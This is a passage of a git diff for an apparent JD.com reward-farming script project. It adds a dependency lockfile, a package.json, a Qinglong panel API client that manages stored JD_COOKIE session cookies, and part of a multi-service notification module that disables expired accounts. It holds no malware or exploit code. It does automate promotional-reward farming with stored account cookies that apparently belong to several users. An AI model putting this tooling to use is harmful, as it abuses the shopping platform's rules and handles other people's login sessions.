"safe-buffer": "~5.1.0" + } + }, + "strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "requires": { + "is-natural-number": "^4.0.1" + } + }, + "strip-outer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", + "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "requires": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + }, + "timed-out": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", + "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=" + }, + "to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==" + }, + "tough-cookie": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", + "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.1.2" + } + }, + "trim-repeated": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", + "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "ts-md5": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/ts-md5/-/ts-md5-1.2.9.tgz", + "integrity": "sha512-/Efr7ZfGf8P+d9HXh0PLQD1CDipqD8j9apCFG96pODDoEaFLxXpV4En6tAc6y3fWyfhFGrqtNBRBS+eLVIB2uQ==" + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==" + }, + "tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "requires": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "union": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz", + "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==", + "requires": { + "qs": "^6.4.0" + } + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "url-join": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz", + "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg=" + }, + "url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "requires": { + "prepend-http": "^2.0.0" + } + }, + "url-to-options": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", + "integrity": "sha1-FQWgOiiaSMvXpDTvuu7FBV9WM6k=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "ws": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.4.tgz", + "integrity": "sha512-zP9z6GXm6zC27YtspwH99T3qTG7bBFv2VIkeHstMLrLlDJuzA7tQ5ls3OJ1hOGGCzTQPniNJoHXIAOS0Jljohg==" + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + }, + "yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", + "requires": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..899c723 --- /dev/null +++ b/package.json @@ -0,0 +1,31 @@ +{ + "name": "LXK9301", + "version": "1.0.0", + "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}", + "main": "AlipayManor.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "https://github.com/LXK9301/jd_scripts.git" + }, + "keywords": [ + "京东薅羊毛工具, 京东水果、宠物、种豆等等" + ], + "author": "LXK9301", + "license": "ISC", + "dependencies": { + "crypto-js": "^4.0.0", + "download": "^6.2.5", + "got": "^11.5.1", + "http-server": "^0.12.3", + "qrcode-terminal": "^0.12.0", + "request": "^2.88.2", + "tough-cookie": "^4.0.0", + "tunnel": "0.0.6", + "ws": "^7.4.3", + "png-js": "^1.0.0", + "jsdom": "^17.0.0" + } +} diff --git a/ql.js b/ql.js new file mode 100644 index 0000000..802d1a6 --- /dev/null +++ b/ql.js @@ -0,0 +1,197 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv11 = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(tempptpin==Ptpin){ + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/sendNotify.js b/sendNotify.js new file mode 100644 index 0000000..6fc511f --- /dev/null +++ b/sendNotify.js @@ -0,0 +1,2858 @@ +/* + * @Author: lxk0301 https://gitee.com/lxk0301 + * @Date: 2020-08-19 16:12:40 + * @Last Modified by: whyour + * @Last Modified time: 2021-5-1 15:00:54 + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) +console.log("加载sendNotify,当前版本: 20220128"); +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + * @returns {Promise} + */ +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +const { + getEnvs, + DisableCk, + getEnvByPtPin +} = require('./ql'); +const fs = require('fs'); +let strCKFile = '/ql/scripts/CKName_cache.json'; +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("检测到别名缓存文件CKName_cache.json,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +let isLogin = false; +if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + if (ShowRemarkType == "2") + console.log("检测到显示备注名称,格式为: 京东别名(备注)"); + if (ShowRemarkType == "3") + console.log("检测到显示备注名称,格式为: 京东账号(备注)"); + if (ShowRemarkType == "4") + console.log("检测到显示备注名称,格式为: 备注"); +} +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + console.log(`开始发送通知...`); + + //NOTIFY_FILTERBYFILE代码来自Ca11back. + if (process.env.NOTIFY_FILTERBYFILE) { + var no_notify = process.env.NOTIFY_FILTERBYFILE.split('&'); + if (module.parent.filename) { + const script_name = module.parent.filename.split('/').slice(-1)[0]; + if (no_notify.some(key_word => { + const flag = script_name.includes(key_word); + if (flag) { + console.log(`${script_name}含有关键字${key_word},不推送`); + } + return flag; + })) { + return; + } + } + } + + try { + //Reset 变量 + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + var strtext = text; + var strdesp = desp; + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + } + if (process.env.NOTIFY_AUTOCHECKCK == "true") { + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1) { + console.log(`捕获CK过期通知,开始尝试处理...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + var llHaderror = false; + + if (strPtPin) { + var temptest = await getEnvByPtPin(strdecPtPin); + if (temptest) { + if (temptest.status == 0) { + isLogin = true; + await isLoginByX1a0He(temptest.value); + if (!isLogin) { + var tempid = 0; + if (temptest._id) { + tempid = temptest._id; + } + if (temptest.id) { + tempid =temptest.id; + } + const DisableCkBody = await DisableCk(tempid); + strPtPin = temptest.value; + strPtPin = (strPtPin.match(/pt_pin=([^; ]+)(?=;?)/) && strPtPin.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strAllNotify = ""; + var MessageUserGp2 = ""; + var MessageUserGp3 = ""; + var MessageUserGp4 = ""; + + var userIndex2 = -1; + var userIndex3 = -1; + var userIndex4 = -1; + + var strNotifyOneTemp = ""; + if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + } + + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === strPtPin); + + } + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === strPtPin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === strPtPin); + } + + if (userIndex2 != -1) { + console.log(`该账号属于分组2`); + text = "京东CK检测#2"; + } + if (userIndex3 != -1) { + console.log(`该账号属于分组3`); + text = "京东CK检测#3"; + } + if (userIndex4 != -1) { + console.log(`该账号属于分组4`); + text = "京东CK检测#4"; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + text = "京东CK检测"; + } + if (process.env.CHECKCK_ALLNOTIFY) { + strAllNotify = process.env.CHECKCK_ALLNOTIFY; + /* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + }*/ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); + } + + if (DisableCkBody.code == 200) { + console.log(`京东账号` + strdecPtPin + `已失效,自动禁用成功!\n`); + + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + + } else { + console.log(`京东账号` + strPtPin + `已失效,自动禁用失败!\n`); + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + } + } else { + console.log(`该CK已经检测没有有效,跳过通知...`); + llHaderror = true; + } + } else { + console.log(`该CK已经禁用不需要处理`); + llHaderror = true; + } + + } + + } else { + console.log(`CK过期通知处理失败...`); + } + if (llHaderror) + return; + } + } + if (strtext.indexOf("cookie已失效") != -1 || strdesp.indexOf("重新登录获取") != -1 || strtext == "Ninja 运行通知") { + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + console.log(`检测到NOTIFY_NOCKFALSE变量为true,不发送ck失效通知...`); + return; + } + } + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + let titleIndex = notifySkipList.findIndex((item) => item === text); + + if (titleIndex !== -1) { + console.log(`${text} 在推送黑名单中,已跳过推送`); + return; + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + if (strPtPin) { + await sendNotifybyWxPucher("汪汪乐园领取通知", 